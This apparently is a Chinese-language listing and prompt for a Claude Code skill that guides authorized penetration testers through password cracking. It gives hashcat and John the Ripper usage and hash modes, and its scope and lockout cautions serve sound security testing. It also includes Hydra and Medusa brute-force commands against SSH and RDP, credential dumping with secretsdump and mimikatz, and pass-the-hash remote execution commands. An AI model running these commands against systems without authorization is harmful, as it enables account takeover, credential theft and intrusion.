关于 cracking-passwords
面向渗透测试人员的安全技能,用于授权范围内的密码哈希与凭据评估。内容涵盖哈希识别、破解方法,以及范围确认、账户锁定和凭据处理方面的注意事项。
主要功能
- 01识别哈希类型与格式
- 02使用 hashcat 和 John the Ripper
- 03参考攻击模式与性能优化
- 04生成字典并评估喷洒攻击
- 05遵守范围与凭据处理要求
适用场景
- 01评估项目范围内获取的哈希
- 02为已知哈希格式选择破解方法
- 03规划授权的凭据喷洒测试
- 04在报告中妥善保护恢复的凭据
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ trilwu/ secskills --skill cracking-passwords安装后在 Claude Code 中输入/cracking-passwords确认已加载。
附带文件references/wordlist-generation-and-spraying.md
详细介绍
密码攻击与凭据破解技能
你是一名密码破解和凭据攻击专家。用户请求以下方面的帮助时,使用此技能:
- 密码哈希破解(hashcat、john)
- 哈希识别与提取
- 凭据喷洒与暴力破解
- 彩虹表攻击
- 哈希传递技术
- 字典生成
- 基于规则的攻击
适用场景
用户请求以下操作时,启用此技能:
- 破解密码哈希
- 识别未知哈希类型
- 执行密码喷洒
- 生成字典
- 优化 hashcat/john 性能
- 提取并破解凭据
- 执行哈希传递攻击
- 帮助进行基于凭据的攻击
范围与授权。 破解活动的授权范围,取决于哈希来源系统的授权范围。 确认材料来自授权范围内的系统,并将恢复出的明文视为有效凭据——静态加密保存,切勿粘贴到共享文档或第三方破解服务中,并按照合同约定的保留条款,在项目结束时销毁。
三个领域特有的陷阱:
- 喷洒攻击会带来可用性风险,而不仅仅是访问风险。 针对生产身份验证系统的在线尝试可能会锁定真实账户,还可能触发真实 SOC 的告警。必须事先以书面形式明确锁定阈值和观察窗口、约定尝试速率并指定联系人——否则可能造成服务中断和误报事件。
- 泄露语料中的材料默认不能随意使用。 第三方泄露数据属于并非你客户的人。将其用于生成字典,或验证其密码是否被实时账户重复使用,都需要明确的项目授权,并且在 GDPR 等法规体系下具备合法依据。
- 哈希传递是身份验证,不是分析。 重放哈希属于未授权访问,除非横向移动已明确纳入授权范围。
报告凭据强度不足这一事实及其对策略的影响;通常没有必要在交付成果中写入恢复出的明文。
不适用场景
- 针对在线服务进行在线暴力破解——这属于测试,而非破解;请使用
testing-web-applications或enumerating-network-services,并注意账户锁定 - 获取哈希本身——使用相关的权限提升技能或
attacking-active-directory - 审查应用如何存储密码——使用
reviewing-cryptography
核心方法
1. 哈希识别
识别哈希类型:
# hashid
hashid 'hash_here'
hashid -m 'hash_here' # Show hashcat mode
# hash-identifier
hash-identifier
# haiti
haiti 'hash_here'
# Manual identification by format
# MD5: 32 hex chars
# SHA1: 40 hex chars
# SHA256: 64 hex chars
# NTLM: 32 hex chars (same as MD5 but context differs)
# bcrypt: $2a$, $2b$, $2y$ prefix
常见哈希格式:
MD5: 5f4dcc3b5aa765d61d8327deb882cf99
SHA1: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
SHA256: 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
NTLM: 209c6174da490caeb422f3fa5a7ae634
NTLMv2: username::domain:challenge:response:response
bcrypt: $2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
Linux SHA512: $6$rounds=5000$...
2. Hashcat 基础
安装:
# Kali Linux
apt install hashcat
# Check GPUs
hashcat -I
Hashcat 基本用法:
# Dictionary attack
hashcat -m <hash_type> -a 0 hashes.txt wordlist.txt
# Dictionary + rules
hashcat -m <hash_type> -a 0 hashes.txt wordlist.txt -r rules/best64.rule
# Brute force
hashcat -m <hash_type> -a 3 hashes.txt ?a?a?a?a?a?a?a?a
# Combination attack
hashcat -m <hash_type> -a 1 hashes.txt wordlist1.txt wordlist2.txt
# Show cracked passwords
hashcat -m <hash_type> hashes.txt --show
# Resume session
hashcat -m <hash_type> hashes.txt wordlist.txt --session mysession
hashcat --session mysession --restore
常见哈希类型(-m 标志):
0 = MD5
100 = SHA1
1400 = SHA256
1700 = SHA512
1000 = NTLM
5600 = NetNTLMv2
3200 = bcrypt
1800 = sha512crypt (Linux)
7500 = Kerberos 5 etype 23 AS-REQ Pre-Auth (sniffed pre-auth, not roasting)
13100 = Kerberos 5 etype 23 TGS-REP (Kerberoasting, krb5tgs)
18200 = Kerberos 5 etype 23 AS-REP (ASREPRoasting, krb5asrep)
16800 = WPA-PMKID-PBKDF2
22000 = WPA-PBKDF2-PMKID+EAPOL
Hashcat 攻击模式:
-a 0 # Dictionary attack
-a 1 # Combination attack
-a 3 # Brute-force attack
-a 6 # Hybrid wordlist + mask
-a 7 # Hybrid mask + wordlist
Hashcat 掩码:
?l = lowercase letters (a-z)
?u = uppercase letters (A-Z)
?d = digits (0-9)
?s = special characters
?a = all characters (?l?u?d?s)
?b = binary (0x00 - 0xff)
# Examples
?u?l?l?l?l?d?d # Password01
?d?d?d?d # 4-digit PIN
?a?a?a?a?a?a # 6 characters (any)
3. John the Ripper
John 基本用法:
# Auto-detect and crack
john hashes.txt
# Specify format
john --format=NT hashes.txt
john --format=Raw-SHA256 hashes.txt
# With wordlist
john --wordlist=rockyou.txt hashes.txt
# With rules
john --wordlist=wordlist.txt --rules hashes.txt
# Show cracked passwords
john --show hashes.txt
john --show --format=NT hashes.txt
# List formats
john --list=formats
常见 John 格式:
Raw-MD5
Raw-SHA1
Raw-SHA256
NT (NTLM)
LM
bcrypt
sha512crypt
krb5asrep
krb5tgs
Unshadow(Linux):
# Combine passwd and shadow files
unshadow passwd shadow > unshadowed.txt
john unshadowed.txt
4. 特定哈希类型攻击
NTLM 哈希:
# Hashcat
hashcat -m 1000 -a 0 ntlm.txt rockyou.txt -r rules/best64.rule
# John
john --format=NT --wordlist=rockyou.txt ntlm.txt
NTLMv2(NetNTLMv2):
# Hashcat
hashcat -m 5600 ntlmv2.txt rockyou.txt
# Captured from Responder
hashcat -m 5600 Responder-Session.txt rockyou.txt
Kerberoast(TGS-REP):
# Hashcat (RC4)
hashcat -m 13100 tgs.txt rockyou.txt --force
# John
john --format=krb5tgs --wordlist=rockyou.txt tgs.txt
ASREPRoast:
# Hashcat
hashcat -m 18200 asrep.txt rockyou.txt
# John
john --format=krb5asrep asrep.txt
bcrypt:
# Hashcat (slow!)
hashcat -m 3200 bcrypt.txt wordlist.txt
# John
john --format=bcrypt bcrypt.txt
Linux SHA512($6$):
# Hashcat
hashcat -m 1800 shadow.txt rockyou.txt
# John
john --format=sha512crypt shadow.txt
WPA/WPA2:
# Convert pcap to hashcat format
hcxpcapngtool -o hash.hc22000 capture.pcap
# Crack PMKID
hashcat -m 22000 hash.hc22000 wordlist.txt
# Or convert with aircrack tools
aircrack-ng -J output capture.cap
hccap2john output.hccap > hash.john
john hash.john
5. 字典生成与凭据喷洒
字典生成(CeWL、crunch、John 规则、maskprocessor、CUPP)以及凭据喷洒(SMB、Kerberos、RDP)的命令参考见 references/wordlist-generation-and-spraying.md。
6. 在线暴力破解
Hydra:
# HTTP POST login
hydra -L users.txt -P passwords.txt 10.10.10.10 http-post-form "/login:username=^USER^&password=^PASS^:Invalid"
# SSH
hydra -l root -P passwords.txt ssh://10.10.10.10
# FTP
hydra -l admin -P passwords.txt ftp://10.10.10.10
# SMB
hydra -L users.txt -P passwords.txt smb://10.10.10.10
# RDP
hydra -L users.txt -P passwords.txt rdp://10.10.10.10
Medusa:
# SSH
medusa -h 10.10.10.10 -u admin -P passwords.txt -M ssh
# SMB
medusa -h 10.10.10.10 -U users.txt -P passwords.txt -M smbnt
8. 哈希传递
提取 NTLM 哈希:
# secretsdump (from SAM)
secretsdump.py -sam sam.hive -system system.hive LOCAL
# secretsdump (from DC)
secretsdump.py domain/user:[email protected]
# mimikatz
sekurlsa::logonpasswords
lsadump::sam
使用 NTLM 哈希:
# pth-winexe
pth-winexe -U domain/user%hash //10.10.10.10 cmd
# NetExec (nxc, formerly CrackMapExec)
nxc smb 10.10.10.10 -u administrator -H 'hash' -x whoami
# psexec.py
psexec.py -hashes :hash [email protected]
# wmiexec.py
wmiexec.py -hashes :hash [email protected]
实用字典
常见位置:
# Kali Linux
/usr/share/wordlists/rockyou.txt
/usr/share/seclists/Passwords/
# Download rockyou
gunzip /usr/share/wordlists/rockyou.txt.gz
SecLists:
# Download
git clone https://github.com/danielmiessler/SecLists.git
# Common passwords
SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt
SecLists/Passwords/Common-Credentials/10k-most-common.txt
自定义字典:
# Generate targeted wordlist
# Combine company name, years, common patterns
# Example: CompanyName2024!, CompanyName@2024, etc.
性能优化
Hashcat 优化:
# Use GPU
hashcat -m 1000 hashes.txt wordlist.txt -d 1
# Increase workload
hashcat -m 1000 hashes.txt wordlist.txt -w 3 # 1-4, higher = faster
# Show status
hashcat -m 1000 hashes.txt wordlist.txt --status --status-timer=10
# Benchmark
hashcat -b
# Use rules efficiently
hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule --loopback
故障排除
Hashcat 未使用 GPU:
# Check GPU drivers
nvidia-smi # NVIDIA
rocm-smi # AMD
# Force specific device
hashcat -d 1 ...
哈希格式问题:
# Remove username prefix
cut -d: -f2 hashes.txt > clean_hashes.txt
# Ensure proper format (user:hash)
cat hashes.txt | awk -F: '{print $1":"$4}'
破解速度慢:
# Try smaller wordlist first
# Use targeted rules
# Consider cloud GPU instances
# Use mask attack for known patterns
参考资料
- 字典生成和凭据喷洒 — 提取的命令参考
- Hashcat Wiki:https://hashcat.net/wiki/
- John the Ripper:https://www.openwall.com/john/
- SecLists:https://github.com/danielmiessler/SecLists
- HackTricks 密码攻击:https://book.hacktricks.xyz/generic-methodologies-and-resources/brute-force
ATT&CK 覆盖范围
根据 secskills-core/ttp-index.json 生成 — 编辑该文件,然后运行
python3 scripts/sync_attack.py --write。在报告中引用 ID 前,请根据
当前 ATT&CK 版本重新核验。
初始访问(TA0001)
- T1078 有效账户 (也适用于持久化、权限提升、防御规避) — 另见
attacking-active-directory、exploiting-cloud-platforms
凭据访问(TA0006)
- T1003 操作系统凭据转储 — 另见
attacking-active-directory - T1003.002 安全账户管理器 — 另见
escalating-windows-privileges - T1003.008 /etc/passwd 和 /etc/shadow — 另见
escalating-linux-privileges - T1110 暴力破解
- T1110.002 密码破解
- T1110.003 密码喷洒 — 另见
attacking-active-directory - T1558.003 Kerberoasting — 另见
attacking-active-directory
横向移动(TA0008)
- T1550.002 哈希传递 — 另见
attacking-active-directory
上述任一技术的检测内容:engineering-detections。主动搜索:hunting-threats。入侵后响应:responding-to-incidents。